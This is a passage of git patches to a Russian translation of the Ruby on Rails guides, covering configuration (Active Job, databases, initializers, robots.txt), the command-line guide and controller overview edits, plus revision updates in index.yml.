встраивание бесполезно, если, конечно, вы не поддерживаете браузеры без JavaScript. В противном случае можно либо передать `authenticity_token: true` как опцию для формы, либо установить эту настройку в `true`. * `config.action_view.prefix_partial_path_with_controller_namespace` определяет должны ли партиалы искаться в поддиректории шаблонов для контроллеров в пространсве имен, или нет. Например, рассмотрим контроллер с именем `Admin::ArticlesController`, который рендерит этот шаблон: @@ -438,15 +446,15 @@ config.middleware.delete "Rack::MethodOverride" Настройка по умолчанию `true`, что использует партиал в `/admin/articles/_article.erb`. Установка значение в `false` будет рендерить `/articles/_article.erb`, что является тем же поведением, что и рендеринг из контроллера не в пространстве имен, такого как `ArticlesController`. -* `config.action_view.raise_on_missing_translations` определяет, должно ли быть вызвано исключение для отсутствующих переводов +* `config.action_view.raise_on_missing_translations` определяет, должно ли быть вызвано исключение для отсутствующих переводов. ### (configuring-action-mailer) Конфигурирование Action Mailer Имеется несколько доступных настроек `ActionMailer::Base`: -* `config.action_mailer.logger` принимает логгер, соответствующий интерфейсу Log4r или класса Ruby по умолчанию Logger, который затем используется для логирования информации от Action Mailer. Установите его в nil, чтобы отключить логирование. +* `config.action_mailer.logger` принимает логгер, соответствующий интерфейсу Log4r или класса Ruby по умолчанию Logger, который затем используется для логирования информации от Action Mailer. Установите его в `nil`, чтобы отключить логирование. -* `config.action_mailer.smtp_settings` позволяет детально сконфигурировать метод доставки :smtp. Она принимает хэш опций, который может включать любые из следующих: +* `config.action_mailer.smtp_settings` позволяет детально сконфигурировать метод доставки `:smtp`. Она принимает хэш опций, который может включать любые из следующих: * `:address` - Позволяет использовать удаленный почтовый сервер. Просто измените его значение по умолчанию "localhost". * `:port` - В случае, если ваш почтовый сервер не работает с портом 25, можете изменить это. * `:domain` - Если нужно определить домен HELO, это делается здесь. @@ -505,6 +513,7 @@ config.middleware.delete "Rack::MethodOverride" config.action_mailer.show_previews = false ``` +* `config.action_mailer.deliver_later_queue_name` указывает название очереди для рассыльщиков. По умолчанию `mailers`. ### (configuring-active-support) Конфигурирование Active Support @@ -512,9 +521,9 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_support.bare` включает или отключает загрузку `active_support/all` при загрузке Rails. По умолчанию `nil`, что означает, что `active_support/all` загружается. -* `config.active_support.test_order` устанавливает порядок, в котором выполняются тестовые случаи. Возможные значения `:sorted` и `:random`. В настоящий момент по умолчанию `:sorted`. В Rails 5.0 значение по умолчанию будет изменено на `:random`. +* `config.active_support.test_order` устанавливает порядок, в котором выполняются тестовые случаи. Возможные значения `:random` и `:sorted`. Эта опция установлена в `:random` в `config/environments/test.rb` при создании нового приложения. Если у вас есть приложение, в котором не указана опция `test_order`, по умолчанию она будет `:sorted`, *до* В Rails 5.0, начиная с которых значение по умолчанию станет `:random`. -* `config.active_support.escape_html_entities_in_json` включает или отключает экранирование сущностей HTML в сериализации JSON. По умолчанию `false`. +* `config.active_support.escape_html_entities_in_json` включает или отключает экранирование сущностей HTML в сериализации JSON. По умолчанию `true`. * `config.active_support.use_standard_json_time_format` включает или отключает сериализацию дат в формат ISO 8601. По умолчанию `true`. @@ -532,9 +541,61 @@ config.middleware.delete "Rack::MethodOverride" * `ActiveSupport::Deprecation.silenced` устанавливает, отображать ли предупреждения об устаревании. +### Конфигурирование Active Job + +`config.active_job` предоставляет следующие конфигурационные опции: + +* `config.active_job.queue_adapter` устанавливает адаптер для бэкенда очередей. По умолчанию адаптер `:inline`, который будет выполнять задачи сразу. Актуальный список встроенных адаптеров смотрите в [документации ActiveJob::QueueAdapters API](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). + + ```ruby + # Убедитесь, что гем адаптера есть в вашем Gemfile + # и следуйте определенным инструкция по установке + # и деплою. + config.active_job.queue_adapter = :sidekiq + ``` + +* `config.active_job.default_queue_name` может быть использована для того, чтобы изменить название очереди по умолчанию. По умолчанию это `"default"`. + + ```ruby + config.active_job.default_queue_name = :medium_priority + ``` + +* `config.active_job.queue_name_prefix` позволяет установить опциональный непустой префикс к названию очереди для всех задач. По умолчанию пустой и не используется. + + Со следующей настройкой задачи будут добавляться в очередь `production_high_priority`, при запуске в production: + ```ruby + config.active_job.queue_name_prefix = Rails.env + ``` + + ```ruby + class GuestsCleanupJob < ActiveJob::Base + queue_as :high_priority + #.... + end + ``` + +* `config.active_job.queue_name_delimiter` имеет значение по умолчанию `'_'`. Если `queue_name_prefix` установлена, тогда `queue_name_delimiter` соединяет префикс и название очереди без префикса. + + Со следующей настройкой задачи будут добавлять в очередь `video_server.low_priority`: + + ```ruby + # префикс должен быть установлен для использования разделителя + config.active_job.queue_name_prefix = 'video_server' + config.active_job.queue_name_delimiter = '.' + ``` + + ```ruby + class EncoderJob < ActiveJob::Base + queue_as :low_priority + #.... + end + ``` + +* `config.active_job.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем используется для логирования информации от Action Job. Вы можете получить этот логгер вызвав `logger` в классе Active Job или экземпляре Active Job. Установите его в `nil`, чтобы отключить логирование. + ### Конфигурирование базы данных -Почти каждое приложение на Rails взаимодействует с базой данных. Можно соединиться с базой данных с помощью установки переменной окружения `ENV['DATABASE_URL']` или с помощью использования файла `config/database.yml`. +Почти каждое приложение на Rails взаимодействует с базой данных. Можно подключаться к базе данных с помощью установки переменной окружения `ENV['DATABASE_URL']` или с помощью использования файла `config/database.yml`. При использовании файла `config/database.yml` можно указать всю информацию, необходимую для доступа к базе данных: @@ -545,7 +606,7 @@ development: pool: 5 ``` -Это соединит с базой данных по имени `blog_development` с использованием адаптера `postgresql`. Та же самая информация может быть сохранена в URL и предоставлена с помощью переменной среды следующем образом: +Это будет подключаться к базе данных по имени `blog_development` при помощи адаптера `postgresql`. Та же самая информация может быть сохранена в URL и предоставлена с помощью переменной среды следующем образом: ```ruby > puts ENV['DATABASE_URL'] @@ -554,7 +615,7 @@ postgresql://localhost/blog_development?pool=5 Файл `config/database.yml`содержит разделы для трех различных сред, в которых по умолчанию может быть запущен Rails: -* Среда `development` используется на вашем рабочем/локальном компьютере для того, чтобы вы могли взаимодействовать с приложением. +* Среда `development` используется на вашем компьютере для разработки или локальном компьютере для того, чтобы вы могли взаимодействовать с приложением. * Среда `test` используется при запуске автоматических тестов. * Среда `production` используется, когда вы развертываете свое приложения во всемирной сети для использования. @@ -569,7 +630,6 @@ development: TIP: Вам не нужно обновлять конфигурации баз данных вручную. Если взглянете на опции генератора приложения, то увидите, что одна из опций называется `--database`. Эта опция позволяет выбрать адаптер из списка наиболее часто используемых реляционных баз данных. Можно даже запускать генератор неоднократно: `cd .. && rails new blog —database=mysql`. После того, как подтвердите перезапись `config/database.yml`, ваше приложение станет использовать MySQL вместо SQLite. Подробные примеры распространенных соединений с базой данных указаны ниже. - ### Предпочтение соединения Так как существует два способа настройки соединения, важно понять, как они могут взаимодействовать. @@ -615,7 +675,7 @@ $ bin/rails runner 'puts ActiveRecord::Base.connections' Здесь адаптер, хост и база данных соответствуют информации в `ENV['DATABASE_URL']`. -Если предоставлена недублирующая информация, вы получите все уникальные значения, в случаях любых конфликтов переменная среды все также имеет приоритет. +Если предоставлена недублирующая информация, вы получите все уникальные значения, в случае любых конфликтов переменная среды также имеет приоритет. ``` $ cat config/database.yml @@ -660,7 +720,7 @@ production: #### Конфигурирование базы данных SQLite3 -В Rails есть встроенная поддержка [SQLite3](http://www.sqlite.org), являющейся легким несерверным приложением по управлению базами данных. Хотя нагруженная среда production может перегрузить SQLite, она хорошо работает для разработки и тестирования. Rails при создании нового проекта использует базу данных SQLite, но Вы всегда можете изменить это позже. +В Rails есть встроенная поддержка [SQLite3](http://www.sqlite.org), являющейся легким несерверным приложением по управлению базами данных. Хотя нагруженная среда production может перегрузить SQLite, она хорошо работает для разработки и тестирования. Rails при создании нового проекта использует базу данных SQLite, но вы всегда можете изменить это позже. Вот раздел дефолтного конфигурационного файла (`config/database.yml`) с информацией о соединении для среды development: @@ -676,7 +736,7 @@ NOTE: В этом руководстве мы используем базу да #### Конфигурирование базы данных MySQL -Если Вы выбрали MySQL вместо SQLite3, ваш `config/database.yml` будет выглядеть немного по другому. Вот секция development: +Если вы выбрали MySQL вместо SQLite3, ваш `config/database.yml` будет выглядеть немного по другому. Вот секция development: ```yaml development: @@ -689,11 +749,11 @@ development: socket: /tmp/mysql.sock ``` -Если на вашем компьютере установленная MySQL имеет пользователя root с пустым паролем, эта конфигурация у вас заработает. В противном случае измените username и password в разделе `development` на правильные. +Если на вашем компьютере для разработки установленная MySQL имеет пользователя root с пустым паролем, эта конфигурация у вас заработает. В противном случае измените username и password в разделе `development` на правильные. #### Конфигурирование базы данных PostgreSQL -Если Вы выбрали PostgreSQL, ваш `config/database.yml` будет модифицирован для использования базы данных PostgreSQL: +Если вы выбрали PostgreSQL, ваш `config/database.yml` будет модифицирован для использования базы данных PostgreSQL: ```yaml development: @@ -745,7 +805,7 @@ development: #### Конфигурирование базы данных PostgreSQL для платформы JRuby -Наконец, если вы выбрали PostgreSQL и используете JRuby, ваш `config/database.yml` будет выглядеть немного по-другому. Вот секция development: +Если вы выбрали PostgreSQL и используете JRuby, ваш `config/database.yml` будет выглядеть немного по-другому. Вот секция development: ```yaml development: @@ -760,7 +820,7 @@ development: ### (creating-rails-environments) Создание сред Rails -По умолчанию Rails поставляется с тремы средами: "development", "test" и "production". Хотя в большинстве случаев их достаточно, бывают условия, когда нужно больше сред. +По умолчанию Rails поставляется с тремя средами: "development", "test" и "production". Хотя в большинстве случаев их достаточно, бывают условия, когда нужно больше сред. Представим, что у вас есть сервер, отражающий среду production, но используемый только для тестирования. Такой сервер обычно называется "staging server". Для определения среды с именем "staging" для этого сервера, просто создайте файл с именем `config/environments/staging.rb`. В качестве исходного содержимого используйте любой файл, существующий в `config/environments`, а затем сделайте в нем необходимые изменения. @@ -771,7 +831,7 @@ development: По умолчанию Rails ожидает, что ваше приложение запускается в корне (т.е. `/`). Этот раздел объяснит, как запустить ваше приложение внутри директории. -Допустим, мы хотим задеплоить наше приложение в "/app1". Rails необходимо знать эту директорию для содания подходящих маршрутов: +Допустим, мы хотим задеплоить наше приложение в "/app1". Rails необходимо знать эту директорию для создания подходящих маршрутов: ```ruby config.relative_url_root = "/app1" @@ -795,7 +855,7 @@ config.relative_url_root = "/app1" В этом случае необходимо настроить прокси сервер (NGINX, Apache и т.д.) принимать соединения из вашего сервера приложения (Unicorn). По умолчанию Unicorn будет слушать соединения TCP на 8080 порту, но можно изменить порт, или настроить использование сокетов. -Можно найти подробности в [Unicorn readme](http://unicorn.bogomips.org/README.html) и понять лежащую в основе [философию](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it. +Можно найти подробности в [Unicorn readme](http://unicorn.bogomips.org/README.html) и понять лежащую в основе [философию](http://unicorn.bogomips.org/PHILOSOPHY.html). Как только вы настроили сервер приложения, необходимо проксировать запросы к нему, настроив надлежащим образом веб-сервер. Например, ваш конфиг NGINX может включать: @@ -825,15 +885,6 @@ server { Прочитайте актуальную информацию в [документации NGINX](http://nginx.org/en/docs/). -#### Размышления при деплое в поддиректорию - -Деплой в поддиректорию в production вовлекает различные части Rails. - -* development environment: -* testing environment: -* serving static assets: -* asset pipeline: - Настройка среды Rails --------------------- @@ -901,7 +952,7 @@ initializer "action_controller.set_helpers_path" do |app| end ``` -Метод `initializer` принимает три аргумента, первый имя инициализатора, второй хэш опций (здесь не показан) и третий блок. В хэше опций может быть определен ключ `:before` для указания, перед каким инициализатором должен быть зпущен новый инициализатор, и ключ `:after` определяет, после какого инициализатора запустить этот. +Метод `initializer` принимает три аргумента: имя инициализатора, хэш опций (здесь не показан) и блок. В хэше опций может быть определен ключ `:before` для указания, перед каким инициализатором должен быть запущен новый инициализатор, и ключ `:after` определяет, после какого инициализатора запустить этот. Инициализаторы, определенные методом `initializer`, будут запущены в порядке, в котором они определены, за исключением тех, в которых использованы методы `:before` или `:after`. @@ -911,9 +962,9 @@ WARNING: Можно помещать свои инициализаторы до Поскольку `Rails::Application` унаследован от `Rails::Railtie` (опосредованно), можно использовать метод `initializer` в `config/application.rb` для определения инициализаторов для приложения. -### (initialization) Инициализаторы +### (initializers) Инициализаторы -Ниже приведен полный список всех инициализаторов, присутствующих в Rails в порядке,в котором они определены (и, следовательно, запущены, если не указано иное). +Ниже приведен полный список всех инициализаторов, присутствующих в Rails в порядке, в котором они определены (и, следовательно, запущены, если не указано иное). * `load_environment_hook` Служит плейсхолдером, так что `:load_environment_config` может быть определено для запуска до него. @@ -961,6 +1012,10 @@ WARNING: Можно помещать свои инициализаторы до * `active_record.set_dispatch_hooks` Сбрасывает все перезагружаемые соединения к базе данных, если `config.cache_classes` установлена `false`. +* `active_job.logger` Устанавливает `ActiveRecord::Base.logger` - если еще не установлен - как `Rails.logger`. + +* `active_job.set_configs` Устанавливает, чтобы Active Job использовал настройки `config.active_job`, посылая имена методов через `send` как сеттер в `ActiveRecord::Base` и передавая в него значения. + * `action_mailer.logger` Устанавливает `ActionMailer::Base.logger` - если еще не установлен - как `Rails.logger`. * `action_mailer.set_configs` Устанавливает, чтобы Action Mailer использовал настройки в `config.action_mailer`, посылая имена методов через `send` как сеттер в `ActionMailer::Base` и передавая в него значения. @@ -979,21 +1034,19 @@ WARNING: Можно помещать свои инициализаторы до * `load_environment_config` Загружает файл `config/environments` для текущей среды. -* `append_asset_paths` Находит пути ресурсов для приложения и всех присоединенных railties и отслеживает доступные директории в `config.static_asset_paths`. - * `prepend_helpers_path` Добавляет директорию `app/helpers` из приложения, railties и engine-ов в путь поиска файлов хелперов приложения. * `load_config_initializers` Загружает все файлы Ruby из `config/initializers` в приложении, railties и engine-ах. Файлы в этой директории могут использоваться для хранения конфигурационных настроек, которые нужно сделать после загрузки всех фреймворков. -* `engines_blank_point` Предоставляет точку инициализации для хука, если нужно что-то сделать до того, как загрузятся engine-ы. После этой точки будут запущены все инициализаторы railtie и engine-ов. +* `engines_blank_point` Предоставляет точку инициализации для хука, если нужно что-то сделать до того, как загрузятся engine-ы. После этой точки будут запущены все инициализаторы railties и engine-ов. -* `add_generator_templates` Находит шаблоны для генераторов в `lib/templates` приложения, railities и дижков, и добавляет их в настройку `config.generators.templates`, что делает шаблоны доступными для всех ссылающихся генераторов. +* `add_generator_templates` Находит шаблоны для генераторов в `lib/templates` приложения, railties и engine-ов, и добавляет их в настройку `config.generators.templates`, что делает шаблоны доступными для всех ссылающихся генераторов. * `ensure_autoload_once_paths_as_subset` Убеждается, что `config.autoload_once_paths` содержит пути только из `config.autoload_paths`. Если она содержит другие пути, будет вызвано исключение. * `add_to_prepare_blocks` Блок для каждого вызова `config.to_prepare` в приложении, railtie или engine добавляется в колбэк `to_prepare` для Action Dispatch, который будет запущен при каждом запросе в development или перед первым запросом в production. -* `add_builtin_route` Если приложение запускается в среде development, то в маршруты приложения будет добавлен маршрут для `rails/info/properties`. Этот маршрут предоставляет подробную информацию, такую как версию Rails and Ruby для `public/index.html` в приложении Rails по умолчанию. +* `add_builtin_route` Если приложение запускается в среде development, то в маршруты приложения будет добавлен маршрут для `rails/info/properties`. Этот маршрут предоставляет подробную информацию, такую как версию Rails и Ruby для `public/index.html` в приложении Rails по умолчанию. * `build_middleware_stack` Создает стек промежуточных программ для приложения, возвращает объект, у которого есть метод `call`, принимающий объект среды Rack для запроса. @@ -1030,7 +1083,7 @@ ActiveRecord::ConnectionTimeoutError - could not obtain a database connection wi Если вы получаете вышеприведенную ошибку, можно попытаться увеличить размер пула соединений, увеличив опцию `pool` в `database.yml` -NOTE. Если вы запускаете мультитредовую среду, есть вероятность, что несколько тредов могут получить доступ к нескольким подключениям одновременно. Поэтому, в зависимости от текущей загрузки, вы можете легко получить несколько тредов, претендующих на ограниченное количество подключений. +NOTE: Если вы запускаете мультитредовую среду, есть вероятность, что несколько тредов могут получить доступ к нескольким подключениям одновременно. Поэтому, в зависимости от текущей загрузки, вы можете легко получить несколько тредов, претендующих на ограниченное количество подключений. Произвольные настройки ---------------------- @@ -1050,3 +1103,17 @@ NOTE. Если вы запускаете мультитредовую среду Rails.configuration.x.payment_processing.retries # => 3 Rails.configuration.x.super_debugger # => true Rails.configuration.x.super_debugger.not_set # => nil + +Индексирование поисковыми движками +---------------------------------- + +Иногда вы можете захотеть, чтобы некоторые страницы вашего приложения не были видимыми для поисковых сайтов, таких как Google, Bing, Yahoo или Duck Duck Go. Роботы, которые индексируют для этих сайтов, сначала анализируют файл `http://your-site.com/robots.txt`, который знает, какие страницы доступны для индексации. + +Rails создает этот файл для вас внутри папки `/public`. По умолчанию все страницы вашего приложения доступны для индексации поисковыми движками. Если бы хотите запретить индексировать все страницы вашего приложения, используйте следующее: + +``` +User-agent: * +Disallow: / +``` + +Чтобы запретить только определенные страницы, необходимо использовать более сложный синтаксис. Изучите его в [официальной документации](http://www.robotstxt.org/robotstxt.html). diff --git a/source/engines.md b/source/engines.md index 84804fa2..8bb07e65 100644 --- a/source/engines.md +++ b/source/engines.md @@ -690,7 +690,7 @@ WARNING: Тут важно использовать строковую верс Может случиться так, что вы захотите использовать для engine инициализаторы, интернационализацию или другие конфигурационные опции. Эти вещи вполне возможны, поскольку Rails engine имеет почти такой же функционал, как и приложение Rails. Фактически, функционал приложения Rails это супернадстройка над тем, что предоставляет engine! -Если хотите использовать инициализатор - код, который должен выполниться до загрузки engine - поместите его в папку `config/initializers`. Функционал этой директории объясняется в [разделе Инициализация](/configuring-rails-applications#initialization) руководства по конфигурированию, и работает обсолютно так же, как и директория `config/initializers` в приложении. То же самое касается стандартных инициализаторов. +Если хотите использовать инициализатор - код, который должен выполниться до загрузки engine - поместите его в папку `config/initializers`. Функционал этой директории объясняется в [разделе Инициализаторы](/configuring-rails-applications#initializers) руководства по конфигурированию, и работает обсолютно так же, как и директория `config/initializers` в приложении. То же самое касается стандартных инициализаторов. Что касается локалей, просто поместите файлы локалей в директории `config/locales`, так же, как это делается в приложении. diff --git a/source/index.yml b/source/index.yml index c798b289..85ce84d2 100644 --- a/source/index.yml +++ b/source/index.yml @@ -141,8 +141,8 @@ pages: - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: 3f96b6973b82ad17e443dd1d21be05996fb6fbf0 - date: 15/01/2015 + revision: 6c3fcc58ffe1789dd7b3e1eab751520752f488fc + date: 30/06/2015 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line From 9828369be7e38292b47f4955981937c99adc8021 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Thu, 3 Sep 2015 22:11:33 +0400 Subject: [PATCH 092/932] Update command line --- source/command_line.md | 42 ++++++++++++++++++++++-------------------- source/index.yml | 4 ++-- 2 files changed, 24 insertions(+), 22 deletions(-) diff --git a/source/command_line.md b/source/command_line.md index 99164e29..15ecfc6f 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -63,7 +63,7 @@ $ bin/rails server => Call with -d to detach => Ctrl-C to shutdown server [2013-08-07 02:00:01] INFO WEBrick 1.3.1 -[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0] +[2013-08-07 02:00:01] INFO ruby 2.2.2 (2015-06-27) [x86_64-darwin11.2.0] [2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 ``` @@ -102,13 +102,13 @@ Rails: ... ``` -NOTE: Можно установить больше генераторов с помощью генераторных гемов, части плагинов, которые вы, несомненно, установите, и даже можете создать свой собственный! +NOTE: Можно установить больше генераторов с помощью гемов генераторов, части плагинов, которые вы, несомненно, установите, и даже можете создать свой собственный! Использование генераторов поможет сэкономить много времени, написав за вас **шаблонный код** - необходимый для работы приложения. Давайте создадим свой собственный контроллер с помощью генератора контроллера. Какую же команду использовать? Давайте спросим у генератора: -INFO: Все консольные утилиты Rails имеют текст помощи. Как и с большинством утилит `*NIX`, можно попробовать `--help` или `-h` в конце, например `rails server --help`. +INFO: Все консольные утилиты Rails имеют текст помощи. Как и с большинством утилит *nix, можно попробовать `--help` или `-h` в конце, например `rails server --help`. ```bash $ bin/rails generate controller @@ -140,14 +140,14 @@ Example: ```bash $ bin/rails generate controller Greetings hello create app/controllers/greetings_controller.rb - route get "greetings/hello" + route get "greetings/hello" invoke erb create app/views/greetings create app/views/greetings/hello.html.erb + invoke test_unit + create test/controllers/greetings_controller_test.rb invoke helper create app/helpers/greetings_helper.rb - invoke test_unit - create test/helpers/greetings_helper_test.rb invoke assets invoke coffee create app/assets/javascripts/greetings.coffee @@ -206,7 +206,7 @@ Description: NOTE: Список доступных типов полей можно узнать в [документации API](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) для метода column класса `TableDefinition` -Но вместо создания модели непосредственно (что мы сделаем еще позже), давайте установим скаффолд. **Скаффолд** в Rails это полный набор из модели, миграции базы данных для этой модели, контроллер для воздействия на нее, вьюхи для просмотра и обращения с данными и тестовый набор для всего этого. +Но вместо создания модели непосредственно (что мы сделаем еще позже), давайте создадим каркас (scaffold). **Скаффолд** в Rails - это полный набор из модели, миграции базы данных для этой модели, контроллер для воздействия на нее, вьюхи для просмотра и обращения с данными и тестовый набор для всего этого. Давайте настроим простой ресурс, названный "HighScore", который будет отслеживать наши лучшие результаты в видеоиграх, в которые мы играли. @@ -247,7 +247,7 @@ $ bin/rails generate scaffold HighScore game:string score:integer Генератор проверил, что существуют директории для моделей, контроллеров, хелперов, макетов, функциональных и юнит тестов, таблиц стилей, создал вьюхи, контроллер, модель и миграцию базы данных для HighScore (создающую таблицу `high_scores` и поля), позаботился о маршруте для *ресурса*, и создал новые тесты для всего этого. -Миграция требует, чтобы мы **мигрировали ее**, то есть запустили некоторый код Ruby (находящийся в этом `20130717151933_create_high_scores.rb`), чтобы изменить схему базы данных. Какой базы данных? Базы данных SQLite3, которую создаст Rails, когда мы запустим команду `rake db:migrate`. Поговорим о Rake чуть позже. +Миграция требует, чтобы мы **мигрировали ее**, то есть запустили некоторый код Ruby (находящийся в `20130717151933_create_high_scores.rb`), чтобы изменить схему базы данных. Какой базы данных? Базы данных SQLite3, которую создаст Rails, когда мы запустим команду `rake db:migrate`. Поговорим о Rake чуть позже. ```bash $ bin/rake db:migrate @@ -257,7 +257,7 @@ $ bin/rake db:migrate == CreateHighScores: migrated (0.0019s) ====================================== ``` -INFO: Давайте поговорим об юнит тестах. Юнит тесты это код, который тестирует и делает суждения о коде. В юнит тестировании мы берем часть кода, скажем, метод модели, и тестируем его входы и выходы. Юнит тесты ваши друзья. Чем раньше вы смиритесь с фактом, что качество жизни возрастет, когда станете юнит тестировать свой код, тем лучше. Серьезно. Мы сделаем один через мгновение. +INFO: Давайте поговорим о юнит тестах. Юнит тесты - это код, который тестирует и делает утверждения о коде. В юнит тестировании мы берем часть кода, скажем, метод модели, и тестируем его входы и выходы. Юнит тесты ваши друзья. Чем раньше вы смиритесь с фактом, что качество жизни возрастет, когда станете тестировать свой код с помощью юнит тестов, тем лучше. Серьезно. Посетите [Руководство по тестированию](/a-guide-to-testing-rails-applications) для более глубокого изучения юнит тестирования. Давайте взглянем на интерфейс, который Rails создал для нас. @@ -269,7 +269,7 @@ $ bin/rails server ### `rails console` -Команда `console` позволяет взаимодействовать с приложением на Rails из командной строки. В своей основе `rails console` использует IRB, поэтому, если вы когда-либо его использовали, то будете чувствовать себя уютно. Это полезно для тестирования быстрых идей с кодом и правки данных на сервере без затрагивания вебсайта. +Команда `console` позволяет взаимодействовать с приложением на Rails из командной строки. В своей основе `rails console` использует IRB, поэтому, если вы когда-либо его использовали, то будете чувствовать себя уютно. Это полезно для тестирования быстрых идей с кодом и правки данных на сервере не трогая вебсайт. INFO: Для вызова консоли также можно использовать псевдоним "c": `rails c`. @@ -321,7 +321,7 @@ INFO: Для вызова консоли базы данных также мож ### `rails runner` -`runner` запускает код Ruby в контексте неинтерактивности Rails. Для примера: +`rails runner` запускает код Ruby в контексте неинтерактивности Rails. Для примера: ```bash $ bin/rails runner "Model.long_running_method" @@ -372,7 +372,7 @@ Rake Rake означает Ruby Make, отдельная утилита Ruby, заменяющая утилиту Unix "make", и использующая файлы "Rakefile" и `.rake` для построения списка задач. В Rails Rake используется для обычных административных задач, особенно таких, которые зависят друг от друга. -Можно получить список доступных задач Rake, который часто зависит от вашей текущей директории, написав `rake --tasks`. У кажой задачи есть описание, помогающее найти то, что вам необходимо. +Можно получить список доступных задач Rake, который часто зависит от вашей текущей директории, написав `rake --tasks`. У каждой задачи есть описание, помогающее найти то, что вам необходимо. Чтобы получить полный бэктрейс для запущенной задачи rake, необходимо передать опцию `--trace` в командную строку, например `rake db:create --trace`. @@ -401,8 +401,8 @@ INFO: Для получения списка задач также можно и $ bin/rake about About your application's environment Rails version 5.0.0 -Ruby version 2.2.1 (x86_64-linux) -RubyGems version 2.4.5 +Ruby version 2.2.2 (x86_64-linux) +RubyGems version 2.4.6 Rack version 1.6 JavaScript Runtime Node.js (V8) Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag @@ -477,7 +477,7 @@ $ bin/rake notes (in /home/foobar/commandsapp) app/models/user.rb: * [ 35] [FIXME] User should have a subscription at this point -rspec/models/user_spec.rb: +spec/models/user_spec.rb: * [122] [TODO] Verify the user that has a subscription works ``` @@ -487,15 +487,15 @@ rspec/models/user_spec.rb: ### `test` -INFO: Хорошее описание юнит-тестирования в Rails дано в [Руководстве по тестированию приложений на Rails](/a-guide-to-testing-rails-applications) +INFO: Хорошее описание юнит-тестирования в Rails дано в [Руководстве по тестированию приложений на Rails](/a-guide-to-testing-rails-applications). -Rails поставляется с набором тестов по имени `Minitest`. Rails сохраняет стабильность в связи с использованием тестов. Задачи, доступные в пространстве имен `test:` помогает с запуском различных тестов, которые вы, несомненно, напишите. +Rails поставляется с набором тестов по имени `Minitest`. Rails сохраняет стабильность в связи с использованием тестов. Задачи, доступные в пространстве имен `test:`, помогают с запуском различных тестов, которые вы, несомненно, напишите. ### `tmp` Директория `Rails.root/tmp` является, как любая *nix директория /tmp, местом для временных файлов, таких как файлы id процессов и кэшированные экшны. -Задачи пространства имен `tmp:` поможет очистить и создать директорию `Rails.root/tmp`: +Задачи пространства имен `tmp:` помогут очистить и создать директорию `Rails.root/tmp`: * `rake tmp:cache:clear` очистит `tmp/cache`. * `rake tmp:sockets:clear` очистит `tmp/sockets`. @@ -543,7 +543,7 @@ end ```bash $ bin/rake task_name -$ bin/rake "task_name[value 1]" # entire argument string should be quoted +$ bin/rake "task_name[value 1]" # весь аргумент в виде строки должен быть в кавычках $ bin/rake db:nothing ``` @@ -616,4 +616,6 @@ development: ... ``` -Она также создала несколько строчек в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. Единственная хитрость с использованием опции SCM состоит в том, что сначала нужно создать директорию для приложения, затем инициализировать ваш SCM, и лишь затем можно запустить команду `rails new` для создания основы вашего приложения. +Это также создало несколько строк в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. + +NOTE. Единственная хитрость с использованием опции SCM состоит в том, что сначала нужно создать директорию для приложения, затем инициализировать ваш SCM, и лишь затем можно запустить команду `rails new` для создания основы вашего приложения. diff --git a/source/index.yml b/source/index.yml index 85ce84d2..0a682e0d 100644 --- a/source/index.yml +++ b/source/index.yml @@ -147,8 +147,8 @@ pages: - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line file: command_line.md - revision: cb04fa41e71e2c409b4cbe1f5e84322d9936d12f - date: 06/04/2015 + revision: ab360318cfdb9beb6ebfd98e470e6a5588e074b8 + date: 10/08/2015 - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview From d58f3ec7d4b1810b419fc6905eff27b30048e746 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Thu, 3 Sep 2015 22:42:09 +0400 Subject: [PATCH 093/932] Some updates --- source/action_controller_overview.md | 8 +++++--- source/action_mailer_basics.md | 2 ++ source/index.yml | 12 ++++++------ 3 files changed, 13 insertions(+), 9 deletions(-) diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 3607733b..f629ecb3 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -179,7 +179,9 @@ end Эти опции будут использованы как начальная точка при генерации URL, поэтому, они могут быть переопределены опциями, переданными в `url_for`. -Если определить `default_url_options` в `ApplicationController`, как это показано в примере, они будут использованы для создания всех URL. Метод также может быть определен в одном отдельном контроллере, в этом случае он влияет только на URL, создаваемые в нем. +Если определить `default_url_options` в `ApplicationController`, как это показано в примере, эти дефолтные настройки будут использованы для создания всех URL. Метод также может быть определен в одном отдельном контроллере, в этом случае он влияет только на URL, создаваемые в нем. + +В данном запросе, на самом деле метод не будет вызываться для каждого сгенерированного URL; для повышения производительности, возвращаемый хэш кешируется, метод выполняется не более одного раза за запрос. ### Strong Parameters @@ -672,7 +674,7 @@ end Хотя наиболее распространенный способ использование фильтров - это создание private методов и использование `*_action` для их добавления, есть два других способа делать то же самое. -Первый - это использовать блок прямо в методах `*_action`. Блок получает контроллер как аргумент, и вышеупомянутый фильтр `require_login` может быть переписан с использованием блока: +Первый - это использовать блок прямо в методах `*_action`. Блок получает контроллер как аргумент. Фильтр `require_login` может быть переписан с использованием блока: ```ruby class ApplicationController < ActionController::Base @@ -1083,7 +1085,7 